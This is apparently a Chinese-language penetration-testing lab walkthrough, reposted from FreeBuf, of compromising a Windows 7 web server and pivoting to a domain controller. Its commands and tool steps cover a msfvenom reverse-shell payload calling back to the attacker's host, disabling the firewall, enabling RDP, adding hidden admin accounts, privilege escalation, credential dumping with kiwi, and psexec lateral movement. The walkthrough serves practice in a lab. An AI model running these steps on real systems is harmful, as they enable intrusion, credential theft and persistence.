
攻击机Kali2023
一、环境搭建
1.1靶机部署
我的是把仅主机模式的ip网段改成了192.168.52.0/24网段,然后win7靶机的网卡信息有一个设的是静态ip一个是动态ip但是动态ip收不到分配,把两个网卡的信息对调了一下,将win 7的本地连接网卡设置为DHCP,将他的配置给本地连接5
(如果不行可以网上找找教程,毕竟每个人的环境可能不同)
2.phpstudy无法启动
输入下面俩个命令:
httpd.exe -k install
httpd.exe -k -n apache2.4
启动mysql服务
进入该目录下
C:\phpStudy\MySQL\bin
输入cmd
输入以下代码 启动mysql服务
mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables
在这一步创建快照,直接恢复快照
二、信息收集
1.进行基本信息收集
都只发现phpmyadmin
端口扫描
nmap -sS -P0 -sV -O 192.168.20.128
nmap --min-rate 10000 -p- 192.168.20.128
访问登录,尝试弱口令root/root
查找用户的密码
解密
解不出来网上查一下说密码就是123456
2.网页信息收集
可能存在,万能密码,sql注入,暴力破解,弱口令,xss
网站内容上敏感信息暴露
3.信息利用
进入yxcms后台
找文件上传点,这个php文件是肯定可以上传的
添加编辑并找到文件位置
挨个目录找好久
蚁剑连接
查看当前用户权限:
三、外网打点
1.用户添加
添加一个用户(不添加不知道密码),并且将用户添加至管理员组(不添加远程访问会受限制)
可以添加隐藏账户在这里
2.关闭防火墙
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
以上是设置为允许,如果设置为拒绝使用blockinbound,blockoutbound
添加一条规则
netsh advfirewall firewall add rule name=RDP dir=in action=allow protocol=tcp localport=3389
删除一条规则
netsh advfirewall firewall delete rule name=RDP dir=in action=allow protocol=tcp localport=3389
3.开启3389,还没开成功......
开启3389端口的命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭3389端口的命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
将开启3389端口命令中的“00000000”改成“11111111”就是关闭。
也可以通过这个cmd命令开启3389端口:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
4.远程连接
一次不成功可以多试几次
成功登入,在这里可以将用户在创建一个影子账户,或者其他权限维持方法,但是远程连接有一个弊端,就是会顶掉当前用户,所以不太推荐,可以尝试其他方法,后面会总结一次关于windows权限维持
四、内网信息收集
进行端口扫描,换不同的参数进行扫描,既然外部大点已经完成,那么接下来就是分析内网的信息,在这里需要去思考当前这个主机是什么,是web服务器,那么这个主机内网环境有没有域控在里面的,如果有怎么可以拿下域控,因为是windows系统,大多数都会采用域控,如果可以拿下域控主机的权限就是很大的漏洞
这里根据拓扑图是已经知到域控存在的,那么进入内网环境肯定是需要隧道或者代理的,这是进入内网的一个关键点,其次如何利用当前已经控制的主机进行渗透
以渗透当前控制主机为起点,拿下域控为中级目标开始下面的操作
在之前已经创建了用户并且关闭防火墙,开启了远程连接,接下来,首先去建立一个更稳定的会话,使远程连接退出避免发现,然后去扫一下当前主机有没有漏洞
首先利用msf模块去生成一个可以反弹shell的脚本,并且通过我们的远程连接进行执行,这个脚本的位置可以放的隐蔽一些,为了方便就放在桌面上了
4.1反弹shell-1
生成ps木马,当然也可以去尝试生成exe类型的木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.142.128 LPORT=8888 -f psh-reflection >test.ps1
在kali打开监听:options检查无误后run
远程去执行这个ps脚本:发现无法执行,修改一下权限
但是这里不知道为什么第二次做的时候执行命令总是显示powershell已停止工作,就算恢复快照也没用
powershell -noexit “& ""C:\Users\admin\Desktop\test .ps1"""
然后再去执行就可以了
kali反弹回一个会话:
4.2反弹shell-2
这个只是一种方法,效果不理想蚁剑使用生成免杀木马模块生成木马,然后再用msf监听,蚁剑执行
这里注意一下payload,
set payload php/meterpreter/reverse_tcp
反弹成功,但是因为是php弹回来的,payload的类型也是php所以这个的权限很低,暂时也没找到用php这个木马提升至最高权限的方法,kiwi经过尝试应该是只支持windows类型的payload
4.3提权-1
这里方式有些多的还是但是看哪一种最可行,可以尝试网站挂大马,但是我这里执行失败了,不管如何这种方式要知到
4.4提权-2
在这里我们再去看看,已经拿下的靶机有没有漏洞,用脚本去扫描,首先生成一个关于系统文件的信息,这个文件就是关于这个系统有没有升级补丁,现在的一个系统状况,这个文件的位置会保存在当前用户的文件夹下,也就是我们远程进去的用户的文件夹
systeminfo>文件名.txt
把这个文件放在我们的电脑上然后利用脚本去扫这个文件信息去扫描,这个工具所引用的是python2的环境,建议安装双python环境,然后的话在使用工具的第一次会报错,原因是因为少了一个xlrd包,这里推荐使用windows去执行,因为新版的kali是python3环境,安装指令默认的也是pip3,没有pip2版本的,变更也比较难,如果尝试搭一个python2的话也不建议,毕竟当前的我用的kali不止一台,花费的时间成本是高的,所以更推荐用Windows
安装命令:python2 -m pip install xlrd==1.2.0 这里注意版本必须是1.2.0的,最新版本的只会支持一种格式的文件,然而如果装错了再安一个就行了
更新当前漏洞库命令:python2 windows-exploit-suggester.py --update 会生成一个xls文件,这个文件 2023-04-21-mssb.xls就是一会要带着跑的,
脚本地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
脚本执行命令:python2.exe windows-exploit-suggester.py --database 2023-04-21-mssb.xls --systeminfo win_7.txt 当然这里根据官方的介绍还可以只带着系统版本去跑,但是不推荐,因为我们已经拿到了这个系统的信息
从上面执行的脚本结果可看到有一个ms16-014漏洞,该漏洞经过了解可以直接提升系统权限,去kali中操作,因为之前已经操作过反弹shell的已经有了一个admin的shell,这个时候呢,我们需要将当前的会话放入后台,因为一会的提权还是会利用到这个权限:
接下来就是去利用漏洞,首先在msf6中去搜索一下这个模块看看是如何使用的:use1或者直接跟这个模块功能就行
还记得刚刚的会话吗,就是在这里再引用一次
执行结果:最高权限
已经是最高权限了,提权成功,权限很高尝试用kiwi中的模块去抓取密码,首先加载kiwi2
如果一次没有加载成功多加载几次,如果会话died,重新run再去加载就行
加载成功:
利用里面的creds_all,去抓取密码,在老版本的kali中这个模块叫mimikatz,可以直接使用,文中所用的是新版本已经改名,运行的话会有提示信息的
结果就只展示一部分,我这里抓到的密码是错误的,其实也是对的,这么来说吧
在整个内网环境中是有域控的,而这个域控呢他会有缓存,域控的密码修改过了,但是每次打开域控里面的成员的信息都没有去登录(都是恢复快照进入的),所以缓存的信息没有刷新,如果发现抓到的密码不对可以都重新去的登录一下三台靶机,免得后面cs使用的时候出现密码问题,简历隧道无法进入
他会去探测内网中所有的账户密码信息,而抓取这些密码的意义就是可以通过隧道去远程登录域控主机
抓取hash密码:lsa_dump_secrets
在这里还有一个
去看一下这个网段都会有什么信息,内网扫描因为我们一斤发知到被攻入的靶机通过查看IP地址有一个192.168.52.0的网段,这里需要去设置一个静态路由信息,让他去扫这个信息
run autoroute -d -s 192.168.20.52删除错误配置命令
将当前会话放入后台,然后使用扫描模块
use scanner/netbios/nbname
可以发现两个IP192.168.52.138和192.168.52.141
然后去扫描端口
use auxiliary/ scanner/portscan/tcp
set rhosts 192. 168.52.138, 141
set ports 80, 445, 3389
exploit
发现445是开放的,然后去用ms17-010
4.4.1cs上线
开启cs服务
将当前的shell弹到cs里面,这里的图是两次截的,结合上下看吧,主要就是cs的使用了
通过上线CS来代理转发
加载msf的payload注入功能:use exploit/windows/local/payload_inject
设置payload:set payload windows/meterpreter/reverse_http
set Iport 9999
set session 4
设置当前msf不接受监听数据:set disablepayloadhandler true
端口要一致
cs里面开启监听器
cs抓取hash和明文密码
探测内网IP
搭建一个隧道使用smb监听,这个就相当于内网中的代理
使用psexec横向,这里的会话有什么选什么就行,因为,我理解的过程是这样的
成功进入域控:正常的应该是亮着的,但是我这个关了会话的截图所以黑了
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)